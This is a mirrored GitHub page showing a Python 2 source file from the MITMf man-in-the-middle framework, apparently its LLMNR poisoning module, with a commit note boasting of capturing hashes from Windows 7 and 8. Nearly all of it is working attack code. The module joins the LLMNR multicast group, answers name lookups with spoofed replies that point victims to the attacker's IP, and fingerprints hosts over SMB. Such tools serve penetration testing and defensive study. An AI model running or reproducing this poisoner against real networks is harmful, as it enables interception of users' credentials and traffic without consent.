mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-11 15:47:10 -07:00
Tested against Windows 7 and 8, got hashes 100% of the time! \o/ The rest of the servers will be added in after WPAD is fixed. Next step is to fix the logging... frankly i rather just log everything into the main mitmf.log folder since it's very grep'able. Also the exact output is going to need tweaking, the lines are wayy to long
176 lines
No EOL
7.1 KiB
Python
176 lines
No EOL
7.1 KiB
Python
#! /usr/bin/env python2.7
|
|
|
|
import socket
|
|
import threading
|
|
import struct
|
|
import logging
|
|
|
|
from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler
|
|
from core.configwatcher import ConfigWatcher
|
|
from core.responder.fingerprinter.Fingerprint import RunSmbFinger
|
|
from core.responder.packet import Packet
|
|
from core.responder.odict import OrderedDict
|
|
from core.responder.common import *
|
|
|
|
mitmf_logger = logging.getLogger("mitmf")
|
|
|
|
class LLMNRPoisoner:
|
|
|
|
def start(self, options, ourip):
|
|
|
|
global args; args = options #For now a quick hack to make argparse's namespace object available to all
|
|
global OURIP ; OURIP = ourip #and our ip address
|
|
|
|
try:
|
|
mitmf_logger.debug("[LLMNRPoisoner] OURIP => {}".format(OURIP))
|
|
server = ThreadingUDPLLMNRServer(("0.0.0.0", 5355), LLMNR)
|
|
t = threading.Thread(name="LLMNRPoisoner", target=server.serve_forever) #LLMNR
|
|
t.setDaemon(True)
|
|
t.start()
|
|
except Exception, e:
|
|
mitmf_logger.error("[LLMNRPoisoner] Error starting on port 5355: {}:".format(e))
|
|
|
|
class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
|
|
|
allow_reuse_address = 1
|
|
|
|
def server_bind(self):
|
|
MADDR = "224.0.0.252"
|
|
self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
|
|
self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)
|
|
Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(OURIP))
|
|
|
|
UDPServer.server_bind(self)
|
|
|
|
#LLMNR Answer packet.
|
|
class LLMNRAns(Packet):
|
|
fields = OrderedDict([
|
|
("Tid", ""),
|
|
("Flags", "\x80\x00"),
|
|
("Question", "\x00\x01"),
|
|
("AnswerRRS", "\x00\x01"),
|
|
("AuthorityRRS", "\x00\x00"),
|
|
("AdditionalRRS", "\x00\x00"),
|
|
("QuestionNameLen", "\x09"),
|
|
("QuestionName", ""),
|
|
("QuestionNameNull", "\x00"),
|
|
("Type", "\x00\x01"),
|
|
("Class", "\x00\x01"),
|
|
("AnswerNameLen", "\x09"),
|
|
("AnswerName", ""),
|
|
("AnswerNameNull", "\x00"),
|
|
("Type1", "\x00\x01"),
|
|
("Class1", "\x00\x01"),
|
|
("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec.
|
|
("IPLen", "\x00\x04"),
|
|
("IP", "\x00\x00\x00\x00"),
|
|
])
|
|
|
|
def calculate(self):
|
|
self.fields["IP"] = socket.inet_aton(OURIP)
|
|
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
|
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
|
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
|
|
|
def Parse_LLMNR_Name(data):
|
|
NameLen = struct.unpack('>B',data[12])[0]
|
|
Name = data[13:13+NameLen]
|
|
return Name
|
|
|
|
# LLMNR Server class.
|
|
class LLMNR(BaseRequestHandler):
|
|
|
|
def handle(self):
|
|
|
|
ResponderConfig = ConfigWatcher.getInstance().getConfig()['Responder']
|
|
DontRespondTo = ResponderConfig['DontRespondTo']
|
|
DontRespondToName = ResponderConfig['DontRespondToName']
|
|
RespondTo = ResponderConfig['RespondTo']
|
|
RespondToName = ResponderConfig['RespondToName']
|
|
|
|
data, soc = self.request
|
|
try:
|
|
if data[2:4] == "\x00\x00":
|
|
if Parse_IPV6_Addr(data):
|
|
Name = Parse_LLMNR_Name(data)
|
|
if args.analyze:
|
|
if args.finger:
|
|
try:
|
|
Finger = RunSmbFinger((self.client_address[0],445))
|
|
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {} | OS: {} | Client Version: {}".format(self.client_address[0], Name,Finger[0],Finger[1]))
|
|
except Exception:
|
|
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
|
else:
|
|
mitmf_logger.warning("[LLMNRPoisoner] {} is looking for: {}".format(self.client_address[0], Name))
|
|
|
|
if DontRespondToSpecificHost(DontRespondTo):
|
|
if RespondToIPScope(DontRespondTo, self.client_address[0]):
|
|
return None
|
|
|
|
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
|
|
return None
|
|
|
|
if RespondToSpecificHost(RespondTo):
|
|
if args.analyze == False:
|
|
if RespondToIPScope(RespondTo, self.client_address[0]):
|
|
if RespondToSpecificName(RespondToName) == False:
|
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
|
buff.calculate()
|
|
for x in range(1):
|
|
soc.sendto(str(buff), self.client_address)
|
|
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
|
if args.finger:
|
|
try:
|
|
Finger = RunSmbFinger((self.client_address[0],445))
|
|
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
|
except Exception:
|
|
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
|
pass
|
|
|
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
|
buff.calculate()
|
|
for x in range(1):
|
|
soc.sendto(str(buff), self.client_address)
|
|
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0],Name))
|
|
if args.finger:
|
|
try:
|
|
Finger = RunSmbFinger((self.client_address[0],445))
|
|
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
|
except Exception:
|
|
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
|
pass
|
|
|
|
if args.analyze == False and RespondToSpecificHost(RespondTo) == False:
|
|
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
|
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
|
buff.calculate()
|
|
for x in range(1):
|
|
soc.sendto(str(buff), self.client_address)
|
|
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
|
if args.finger:
|
|
try:
|
|
Finger = RunSmbFinger((self.client_address[0],445))
|
|
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
|
except Exception:
|
|
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
|
pass
|
|
if RespondToSpecificName(RespondToName) == False:
|
|
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
|
|
buff.calculate()
|
|
for x in range(1):
|
|
soc.sendto(str(buff), self.client_address)
|
|
mitmf_logger.warning("[LLMNRPoisoner] Poisoned answer sent to {} the requested name was: {}".format(self.client_address[0], Name))
|
|
if args.finger:
|
|
try:
|
|
Finger = RunSmbFinger((self.client_address[0],445))
|
|
mitmf_logger.info('[LLMNRPoisoner] OS: {} | ClientVersion: {}'.format(Finger[0], Finger[1]))
|
|
except Exception:
|
|
mitmf_logger.info('[LLMNRPoisoner] Fingerprint failed for host: {}'.format(self.client_address[0]))
|
|
pass
|
|
else:
|
|
pass
|
|
else:
|
|
pass
|
|
except:
|
|
raise |